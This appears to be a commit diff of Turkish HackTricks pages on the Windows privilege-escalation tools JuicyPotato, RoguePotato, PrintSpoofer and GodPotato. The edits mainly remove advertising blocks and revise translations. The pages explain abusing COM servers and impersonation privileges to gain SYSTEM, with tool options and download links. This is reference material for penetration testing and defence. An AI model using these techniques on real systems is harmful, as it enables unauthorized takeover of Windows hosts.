You can check their website and try their engine for **ücretsiz** at:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -9,26 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %} {% hint style="warning" %}
**JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz.** Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) ile **aynı ayrıcalıkları kullanarak `NT AUTHORITY\SYSTEM`** düzeyinde erişim elde edebilirsiniz. _**Kontrol Et:**_ **JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz.** Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) ile **aynı ayrıcalıkları kullanarak `NT AUTHORITY\SYSTEM`** düzeyinde erişim elde edebilirsiniz. _**Kontrol Et:**_
{% endhint %} {% endhint %}
@ -39,25 +25,25 @@ Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
## Juicy Potato (altın ayrıcalıkları kötüye kullanma) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a> ## Juicy Potato (altın ayrıcalıkları kötüye kullanma) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Biraz meyve suyu eklenmiş_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_ _**RottenPotatoNG**_ [_sürümünün şekerli bir versiyonu,_](https://github.com/breenmachine/RottenPotatoNG) _biraz meyve suyu ile, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM** düzeyine başka bir Yerel Ayrıcalık Yükseltme aracı._
#### Juicypotato'yu [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) adresinden indirebilirsiniz. #### Juicypotato'yu [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) adresinden indirebilirsiniz.
### Özet <a href="#summary" id="summary"></a> ### Özet <a href="#summary" id="summary"></a>
[**juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** [**Juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) temelinde ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk. [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servisine](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) dayanan ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin**. [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin.**
> Teori için, [Rotten Potato - Hizmet Hesaplarından SYSTEM'e Ayrıcalık Yükseltme](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) sayfasını inceleyin ve bağlantılar ve referanslar zincirini takip edin. > Teori için, [Rotten Potato - Servis Hesaplarından SYSTEM'e Ayrıcalık Yükseltme](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) sayfasını inceleyin ve bağlantılar ve referanslar zincirini takip edin.
`BITS` dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece: `BITS` dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece:
1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "hizmet kullanıcısı" 1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "servis kullanıcısı"
2. `IMarshal` arayüzünü uygulaması 2. `IMarshal` arayüzünü uygulaması
3. yükseltilmiş bir kullanıcı (SYSTEM, Yönetici, ...) olarak çalışması gerekir. 3. yükseltilmiş bir kullanıcı (SYSTEM, Administrator, …) olarak çalışması gerekir.
Biraz test yaptıktan sonra, birkaç Windows sürümünde [ilginç CLSID'lerin](http://ohpe.it/juicy-potato/CLSID/) kapsamlı bir listesini elde ettik ve test ettik. Biraz test yaptıktan sonra, birkaç Windows sürümünde [ilginç CLSID'lerin](http://ohpe.it/juicy-potato/CLSID/) kapsamlı bir listesini elde ettik ve test ettik.
@ -71,7 +57,7 @@ JuicyPotato, size şunları sağlar:
* **İşlem oluşturma modu** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şunlardan birini seçebilirsiniz:_ * **İşlem oluşturma modu** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şunlardan birini seçebilirsiniz:_
* `CreateProcessWithToken` (gerekli `SeImpersonate`) * `CreateProcessWithToken` (gerekli `SeImpersonate`)
* `CreateProcessAsUser` (gerekli `SeAssignPrimaryToken`) * `CreateProcessAsUser` (gerekli `SeAssignPrimaryToken`)
* `her ikisi` * `her ikisi de`
* **Başlatılacak işlem** _sömürü başarılı olursa bir yürütülebilir dosya veya betik başlatın_ * **Başlatılacak işlem** _sömürü başarılı olursa bir yürütülebilir dosya veya betik başlatın_
* **İşlem Argümanı** _başlatılan işlem argümanlarını özelleştirin_ * **İşlem Argümanı** _başlatılan işlem argümanlarını özelleştirin_
* **RPC Sunucu adresi** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_ * **RPC Sunucu adresi** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_
@ -101,7 +87,7 @@ Optional args:
Eğer kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz. Eğer kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz.
Bu COM Sunucularının kötüye kullanımını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak. Tüm bu COM Sunucularının kötüye kullanımını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak.
Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu istismarı engelleyecektir ancak temel işletim sistemi üzerinde ciddi bir etki yaratabilir. Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu istismarı engelleyecektir ancak temel işletim sistemi üzerinde ciddi bir etki yaratabilir.
@ -152,17 +138,6 @@ Sonra [test\_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/te
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) * [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -174,7 +149,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,36 +1,22 @@
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato # RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **çalıntı** **malware'ler** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan malware'lerden kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %} {% hint style="warning" %}
**JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz**. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM` düzeyinde erişim sağlamak için kullanılabilir. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine ele alıyor; bu araç, JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 host'larında taklit ayrıcalıklarını kötüye kullanmak için kullanılabilir. **JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında çalışmamaktadır. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**,** aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM` düzeyinde erişim sağlamak için kullanılabilir. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine ele alıyor; bu araç, JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 hostlarında taklit ayrıcalıklarını kötüye kullanmak için kullanılabilir.
{% endhint %} {% endhint %}
## Hızlı Demo ## Hızlı Demo
@ -117,28 +103,17 @@ nt authority\system
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) * [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) * [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) , bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirme ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>